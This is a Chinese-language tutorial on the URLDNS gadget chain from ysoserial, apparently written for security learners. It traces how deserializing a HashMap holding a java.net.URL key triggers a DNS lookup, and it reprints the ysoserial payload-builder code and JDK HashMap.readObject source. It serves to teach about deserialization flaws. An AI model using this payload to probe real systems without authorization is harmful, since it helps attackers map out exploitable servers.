Java安全之URLDNS链分析
在Java反序列化漏洞中,URLDNS链是ysoserial工具提供的一个利用链之一。它被设计用于证明某个应用可能存在反序列化漏洞,并且可以用来进行安全测试,而不是执行恶意代码。URLDNS链的主要功能是在目标服务器上触发DNS请求到攻击者控制的DNS服务器,从而帮助渗透测试人员确认目标环境中是否存在可利用的反序列化漏洞。
1.URLDNS链使用
ysoserial项目源码如下,将其导入IDEA
项目地址:https://github.com/frohoff/ysoserial
我们单独执行URLDNS的脚本,这里的地址通过burpsuite获得。
Burp Collaborator: Burp Suite Professional版中有一个叫做Burp Collaborator的功能,它可以作为外部服务交互的接收器,包括DNS、HTTP和SMTP等协议。通过生成一个唯一的Burp Collaborator payload并将其嵌入到请求中,你可以等待并检测任何由目标应用程序发起的回调,这与dnslog的工作原理相似。
我们看下执行成功的结果
2.利用条件
1.共同条件
实现Serializable接口:目标类必须实现java.io.Serializable接口,这表明该类的对象可以被序列化和反序列化。这是最基本的要求,因为只有实现了此接口的对象才能进行序列化操作。
2.入口类(Source)要求
重写readObject方法:在Java中,readObject()方法用于自定义对象的反序列化过程。如果开发人员重写了这个方法,那么在这个方法内部的任何逻辑都有可能被攻击者利用。例如,如果在此方法内调用了某些可能会触发恶意行为的方法(如hashCode()或toString()),则可能被用来作为攻击入口。
调用常见函数:理想情况下,开发者在重写的readObject()方法中调用了诸如hashCode()、toString()等常见的方法。这是因为很多Java类库中的类在其hashCode()或toString()方法中有复杂的逻辑,包括但不限于网络请求、文件系统访问、甚至命令执行。例如,在URLDNS案例中,正是利用了URL类的hashCode()方法会在计算哈希值时尝试对URL进行DNS解析这一特性。
3.参数类型宽泛
使用JDK自带的广泛使用的类:攻击者倾向于使用那些参数类型较为宽泛且是JDK自带的类,比如Map接口的实现类(如HashMap、Hashtable)。这些类广泛应用于各种应用中,因此增加了找到合适攻击点的可能性。例如,在URLDNS payload中,就是将URL对象放入HashMap中,利用HashMap在反序列化过程中自动调用键对象的hashCode()方法来触发DNS查询。
3.以HashMap为例进行分析
- HashMap实现了java.io.Serializable接口,这意味着它的对象可以被序列化(转换为字节流以便存储或传输)和反序列化(从字节流恢复为对象)。这是进行任何序列化攻击的基础条件。
- HashMap接受的键和值类型是Object类型,这意味着它可以存储任何类型的对象,只要这些对象实现了Serializable接口。
- HashMap 是 Java Development Kit (JDK) 自带的一个类,它位于 java.util 包中。
- HashMap 类重写了 readObject() 和 writeObject() 方法来定制其序列化和反序列化过程。
HashMap 类重写 readObject() 方法的主要原因是为了确保在反序列化过程中能够正确地恢复对象的状态,同时保持其内部数据结构的一致性和性能特性。具体来说,涉及到键(key)的唯一性和哈希值的计算,如下图:发现调用了hash函数
继续跟下去,发现HashMap 中的 hash 函数接受一个 Object 类型的键(key),并根据该键计算出一个哈希值。如果键不为空,则会调用键对象自身的 hashCode() 方法来获取其初始哈希码。
即:HashMap
的readObject()
HashMap
的putVal()
HashMap
的hash(key)
HashMap
的hashCode()
: key.hashCode()
由上面条件可以知道,我们新建一个HashMap时,会计算key的hashCode值,即最终会调用key.hashCode(),接下来我们试着传入key是一个java.net.URL对象
4.调用链分析
创建 HashMap 并添加 URL 键:
当我们创建一个新的 HashMap 实例,并将一个 URL 对象作为键添加到该 HashMap 中时,HashMap 会计算该键的哈希值。
在正常情况下,HashMap 会调用 URL 对象的 hashCode() 方法来获取其哈希码。
URL.hashCode() 方法:
URL 类的 hashCode() 方法首先检查内部缓存字段 hashCode 是否已经被设置(即不等于 -1)。如果已经设置了,则直接返回缓存的哈希值;否则,继续计算新的哈希值。
计算过程中,URL 类会尝试解析 URL 的各个部分(如协议、主机名、端口等),并根据这些信息生成哈希值。
关键点在于,如果 URL 对象使用了自定义的 URLStreamHandler,那么在某些情况下(例如当需要解析主机名时),可能会涉及到 handler.hashCode() 方法的调用。
URLStreamHandler.hashCode() 方法:
在标准 JDK 中,URLStreamHandler 的 hashCode() 方法通常不会直接执行 DNS 查询。但是,如果你使用了一个特制的 URLStreamHandler(例如在 URLDNS payload中使用的 SilentURLStreamHandler),你可以控制这一行为。
如果 URL 对象配置了一个自定义的 URLStreamHandler,并且该处理器在其 hashCode() 方法中调用了 getHostAddress() 方法,这可能导致 DNS 查询的发生。
getHostAddress() 方法:
getHostAddress() 方法用于获取主机名对应的 IP 地址。为了实现这一点,它通常会调用 InetAddress.getByName(String host) 方法。
InetAddress.getByName(String host) 方法的作用是根据提供的域名查找其对应的 IP 地址,此过程涉及 DNS 查询。
即:
URL.hashCode
handler.hashCode()
getHostAddress()
getByName()
需要注意的是使用反射修改hashCode的值的原因
如果hashCode的值不等于-1,就不会执行hashCode()方法,由于HashMap在执行put函数的时候,也会调用putVal(),hash()方法,所以我们需要在put之前就利用反射把hashCode的值改了,只要不为-1就不会再序列化时调用hashCode方法了,否则会在序列化阶段就执行hashCode()方法。在执行put方法之后,我们再利用反射把hashCode的值设为-1,让其调用hashCode方法,从而解析域名,发送一次DNS请求。
URLDNS的利用链如下,这里直接引用p牛的
5.URLDNS链分析
在URLDNS.java中,作者已经给出了Gadget chain
通过分析ysoserial的payload,可以看出这个链反序列化的对象是HashMap
的对象,分析和代码如下
public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URLURL u = new URL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}/*** <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior* using the serialized object.</p>** <b>Potential false negative:</b>* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the* second resolution.</p>*/static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
}
创建 HashMap 实例ht,用于存储后续添加的键值对。
创建了一个 URL 对象 u 并将其作为键放入 HashMap ht 中。这表明最终要被序列化的对象是一个包含特定 URL 键的 HashMap。
使用反射将 URL 对象 u 的 hashCode 字段重置为 -1,以确保在反序列化时会重新计算哈希值并触发DNS查询。
最终,该方法返回了包含恶意 URL 键的 HashMap 实例。这意味着这个 HashMap 实例将是实际被序列化的对象,并且在目标系统上进行反序列化时使用。
当反序列化HashMap
时便会调用其中的readObject
方法
private void readObject(ObjectInputStream s)throws IOException, ClassNotFoundException {ObjectInputStream.GetField fields = s.readFields();// Read loadFactor (ignore threshold)float lf = fields.get("loadFactor", 0.75f);if (lf <= 0 || Float.isNaN(lf))throw new InvalidObjectException("Illegal load factor: " + lf);lf = Math.min(Math.max(0.25f, lf), 4.0f);HashMap.UnsafeHolder.putLoadFactor(this, lf);reinitialize();s.readInt(); // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0) {throw new InvalidObjectException("Illegal mappings count: " + mappings);} else if (mappings == 0) {// use defaults} else if (mappings > 0) {float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}
后续分析和上面的分析相同,从HashMap的readObject()继续。